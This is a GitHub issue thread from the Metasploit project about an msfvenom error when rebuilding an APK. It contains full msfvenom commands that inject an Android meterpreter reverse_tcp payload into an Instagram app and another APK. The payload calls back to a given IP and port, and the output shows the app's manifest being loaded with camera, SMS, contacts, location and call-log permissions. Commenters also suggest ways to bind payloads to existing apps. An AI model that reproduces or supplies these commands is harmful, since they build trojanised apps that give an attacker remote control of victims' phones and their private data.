Metasploit-framework: Error: Unable to rebuild apk with apktool (1)

Created on 26 Jul 2018  路  16Comments  路  Source: rapid7/metasploit-framework

hi, I do not know if I'm in the right section, I hope so, I have a problem when i recompile the apk, I have not installed this program, but I use msfvenom normal, when I recompile the apk, it tells me: "Error: Unable to rebuild apk with apktool". I hope you can help me as we are talking about msfvenom. I installed the latest version of apktool, but it shows me version 2.2.2

msfvenom -x instagram.apk -p android/meterpreter/reverse_tcp LHOST=18.216.53.253 LPORT=15981 -o instagram1.apk
Using APK template: instagram.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.instagram.android.vehdh
[] Loading /tmp/d20180726-8494-1rzbkw3/original/smali/com/instagram/app/InstagramAppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding instagram.apk with meterpreter injection as /tmp/d20180726-8494-1rzbkw3/output.apk
Error: Unable to rebuild apk with apktool

Most helpful comment

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow

All 16 comments

Same Problem Any Sulotion..?

Same as #8829.

Tested with latest apktool.

root@4276bba97535:/r7-source/metasploit/metasploit-framework# ./msfvenom -x SdkControllerApp.apk -p android/meterpreter/reverse_tcp LHOST=18.216.53.253 LPORT=15981 -o test.apk
Using APK template: SdkControllerApp.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.android.tools.sdkcontroller.yegum
[*] Loading /tmp/d20180822-14394-1vnevg1/original/smali/com/android/tools/sdkcontroller/activities/MainActivity.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.WAKE_LOCK"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Rebuilding SdkControllerApp.apk with meterpreter injection as /tmp/d20180822-14394-1vnevg1/output.apk
[*] Signing /tmp/d20180822-14394-1vnevg1/output.apk
[*] Aligning /tmp/d20180822-14394-1vnevg1/output.apk
Payload size: 75936 bytes
Saved as: test.apk

@theInfectedDrake is likely correct you may be experiencing a permissions restriction on /tmp and need to remount.

same problem

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack Over Flow

wow finally, a great solution.
Thank you, it worked for me.

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow

"wrapper script" not found...

error invalid template myidea.apk

bhai fic kaise kare

error invalid template myidea.apk

Give the exact and full location of your file. That will help fix your problem of "error invalid template" that is because it is unable to get that file.
for eg. in linux /usr/bin/example.apk

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow

It's not working bro please help

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow

It's not working bro please help

Try Using APK Easy Tool to bind your payload to existing apk.

@poonkawinpreethi Bro, i help you

  1. what not working bro, your computer won't boot, your pencil sharpener is broken, is it because you didn't do sudo, maybe you need to install metasploit? Hard to predict with no info.
  2. did try running it on windows 95 bro?
  3. it dont work none on termux, try termux 2.0
  4. you commented on a closed ticket that was resolved. That's like complaining you didn't get a pizza because someone else ordered a pizza and it was delivered to their house. Makes no sense bro, try ordering your own pizza and dont just 'give pizza', you got to be exact bro like how many, what you want, toppings, your bro-address.

stop posting here, this is a resolved ticket.

@poonkawinpreethi Bro, i help you

  1. what not working bro, your computer won't boot, your pencil sharpener is broken, is it because you didn't do sudo, maybe you need to install metasploit? Hard to predict with no info.
  2. did try running it on windows 95 bro?
  3. it dont work none on termux, try termux 2.0
  4. you commented on a closed ticket that was resolved. That's like complaining you didn't get a pizza because someone else ordered a pizza and it was delivered to their house. Makes no sense bro, try ordering your own pizza and dont just 'give pizza', you got to be exact bro like how many, what you want, toppings, your bro-address.

stop posting here, this is a resolved ticket.

I'm using Kali Linux
I'm running it in sudo

My apktool version is 4.2.1 but it's getting error

App was decompiling but not building

Was this page helpful?
0 / 5 - 0 ratings

Related issues

0x27 picture 0x27  路  3Comments

adrianmihalko picture adrianmihalko  路  3Comments

bcoles picture bcoles  路  3Comments

handsomebeast picture handsomebeast  路  3Comments

Funeoz picture Funeoz  路  3Comments